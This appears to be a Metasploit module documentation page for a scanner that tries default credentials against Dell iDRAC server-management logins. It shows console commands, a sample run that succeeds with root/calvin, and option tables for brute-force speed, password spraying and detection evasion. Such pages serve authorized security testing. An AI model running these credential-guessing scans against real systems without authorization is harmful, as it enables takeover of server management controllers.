Dell iDRAC Default Login - Metasploit


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Module Overview


Name: Dell iDRAC Default Login
Module: auxiliary/scanner/http/dell_idrac
Source code: modules/auxiliary/scanner/http/dell_idrac.rb
Disclosure date: -
Last modification time: 2021-05-02 08:52:11 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-1999-0502

This module attempts to login to a iDRAC webserver instance using default username and password. Tested against Dell Remote Access Controller 6 - Express version 1.50 and 1.85, Controller 7 - Enterprise 2.63.60.62

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/dell_idrac
msf auxiliary(dell_idrac) > show options
    ... show and set options ...
msf auxiliary(dell_idrac) > set RHOSTS ip-range
msf auxiliary(dell_idrac) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(dell_idrac) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(dell_idrac) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(dell_idrac) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module attempts to login to a iDRAC webserver instance using default username and password. Tested against Dell Remote Access:

  • Controller 6 - Express version 1.50 and 1.85,
  • Controller 7 - Enterprise 2.63.60.62

Verification Steps


  1. Setup the Dell iDRAC
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/dell_idrac
  4. Do: set rhosts [ip]
  5. Do: run
  6. You should see attempts to login.

Scenarios


iDRAC Controller 7 - Enterprise 2.63.60.62

msf6 > use auxiliary/scanner/http/dell_idrac
msf6 auxiliary(scanner/http/dell_idrac) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/dell_idrac) > set rhosts 222.222.2.22
rhosts => 222.222.2.22
msf6 auxiliary(scanner/http/dell_idrac) > run

[*] Verifying that login page exists at 222.222.2.22
[*] Attempting authentication
[+] https://222.222.2.22:443/ - SUCCESSFUL login for user 'root' with password 'calvin'
[-] https://222.222.2.22:443/ - Dell iDRAC - Failed to login as 'user1' with password 'calvin'
[-] https://222.222.2.22:443/ - Dell iDRAC - Failed to login as 'user1' with password '123456'
[-] https://222.222.2.22:443/ - Dell iDRAC - Failed to login as 'user1' with password 'password'
[-] The connection timed out (222.222.2.22:443).
[-] https://222.222.2.22:443/ - Dell iDRAC - Failed to login as 'admin' with password 'calvin'
[-] The connection timed out (222.222.2.22:443).
[-] https://222.222.2.22:443/ - Dell iDRAC - Failed to login as 'admin' with password '123456'
[-] The connection timed out (222.222.2.22:443).
[-] https://222.222.2.22:443/ - Dell iDRAC - Failed to login as 'admin' with password 'password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/dell_idrac) > creds
Credentials
===========

host          origin        service          public  private  realm  private_type  JtR Format
----          ------        -------          ------  -------  -----  ------------  ----------
222.222.2.22  222.222.2.22  443/tcp (https)  root    calvin          Password      

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Msfconsole Usage


Here is how the scanner/http/dell_idrac auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/dell_idrac

msf6 auxiliary(scanner/http/dell_idrac) > show info

       Name: Dell iDRAC Default Login
     Module: auxiliary/scanner/http/dell_idrac
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Cristiano Maruti <[email protected]>

Check supported:
  No

Basic options:
  Name              Current Setting                                                                     Required  Description
  ----              ---------------                                                                     --------  -----------
  BLANK_PASSWORDS   false                                                                               no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                                   yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                                               no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                                               no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                                               no        Add all users in the current database to the list
  PASSWORD                                                                                              no        A specific password to authenticate with
  PASS_FILE         /opt/metasploit-framework/embedded/framework/data/wordlists/idrac_default_pass.txt  no        File containing passwords, one per line
  Proxies                                                                                               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                                                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             443                                                                                 yes       Default remote port
  STOP_ON_SUCCESS   false                                                                               yes       Stop guessing when a credential works for a host
  TARGETURI         /data/login                                                                         yes       Path to the iDRAC Administration page
  THREADS           1                                                                                   yes       The number of concurrent threads (max one per host)
  USERNAME                                                                                              no        A specific username to authenticate as
  USERPASS_FILE                                                                                         no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false                                                                               no        Try the username as the password for all users
  USER_FILE         /opt/metasploit-framework/embedded/framework/data/wordlists/idrac_default_user.txt  no        File containing users, one per line
  VERBOSE           true                                                                                yes       Whether to print output for all attempts
  VHOST                                                                                                 no        HTTP server virtual host

Description:
  This module attempts to login to a iDRAC webserver instance using 
  default username and password. Tested against Dell Remote Access 
  Controller 6 - Express version 1.50 and 1.85, Controller 7 - 
  Enterprise 2.63.60.62

References:
  https://nvd.nist.gov/vuln/detail/CVE-1999-0502

Module Options


This is a complete list of options available in the scanner/http/dell_idrac auxiliary module:

msf6 auxiliary(scanner/http/dell_idrac) > show options

Module options (auxiliary/scanner/http/dell_idrac):

   Name              Current Setting                                                                     Required  Description
   ----              ---------------                                                                     --------  -----------
   BLANK_PASSWORDS   false                                                                               no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                                   yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                                               no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                               no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                               no        Add all users in the current database to the list
   PASSWORD                                                                                              no        A specific password to authenticate with
   PASS_FILE         /opt/metasploit-framework/embedded/framework/data/wordlists/idrac_default_pass.txt  no        File containing passwords, one per line
   Proxies                                                                                               no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                                                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             443                                                                                 yes       Default remote port
   STOP_ON_SUCCESS   false                                                                               yes       Stop guessing when a credential works for a host
   TARGETURI         /data/login                                                                         yes       Path to the iDRAC Administration page
   THREADS           1                                                                                   yes       The number of concurrent threads (max one per host)
   USERNAME                                                                                              no        A specific username to authenticate as
   USERPASS_FILE                                                                                         no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                               no        Try the username as the password for all users
   USER_FILE         /opt/metasploit-framework/embedded/framework/data/wordlists/idrac_default_user.txt  no        File containing users, one per line
   VERBOSE           true                                                                                yes       Whether to print output for all attempts
   VHOST                                                                                                 no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/dell_idrac auxiliary module:

msf6 auxiliary(scanner/http/dell_idrac) > show advanced

Module advanced options (auxiliary/scanner/http/dell_idrac):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   MaxGuessesPerService  0                                                   no        Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
   MaxGuessesPerUser     0                                                   no        Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22
                                                                                        is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be use
                                                                                       d.
   MaxMinutesPerService  0                                                   no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
   PASSWORD_SPRAY        false                                               yes       Reverse the credential pairing order. For each password, attempt every possible user.
   REMOVE_PASS_FILE      false                                               yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE  false                                               yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE      false                                               yes       Automatically delete the USER_FILE on module completion
   SSL                   true                                                yes       Negotiate SSL connection
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   TRANSITION_DELAY      0                                                   no        Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/dell_idrac module can do:

msf6 auxiliary(scanner/http/dell_idrac) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/dell_idrac auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/dell_idrac) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<TARGET_URL> - Dell iDRAC - Failed to login as '<USER>' with password '<PASS>'


Here is a relevant code snippet related to the "<TARGET_URL> - Dell iDRAC - Failed to login as '<USER>' with password '<PASS>'" error message:

79:	        password: pass,
80:	        proof: auth.body.to_s
81:	      )
82:	      return :next_user
83:	    else
84:	      print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
85:	    end
86:	  end
87:	
88:	  def report_cred(opts)
89:	    service_data = {

<TARGET_URL> - Page redirect to <LOCATION>


Here is a relevant code snippet related to the "<TARGET_URL> - Page redirect to <LOCATION>" error message:

127:	        each_user_pass do |user, pass|
128:	          do_login(user, pass)
129:	        end
130:	
131:	      elsif (res && (res.code == 301))
132:	        print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
133:	        return :abort
134:	      else
135:	        print_error("The iDRAC login page does not exist at #{ip}")
136:	        return :abort
137:	      end

The iDRAC login page does not exist at <IP>


Here is a relevant code snippet related to the "The iDRAC login page does not exist at <IP>" error message:

130:	
131:	      elsif (res && (res.code == 301))
132:	        print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
133:	        return :abort
134:	      else
135:	        print_error("The iDRAC login page does not exist at #{ip}")
136:	        return :abort
137:	      end
138:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
139:	    rescue ::Timeout::Error, ::Errno::EPIPE
140:	    rescue ::OpenSSL::SSL::SSLError => e

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Cristiano Maruti <cmaruti[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.

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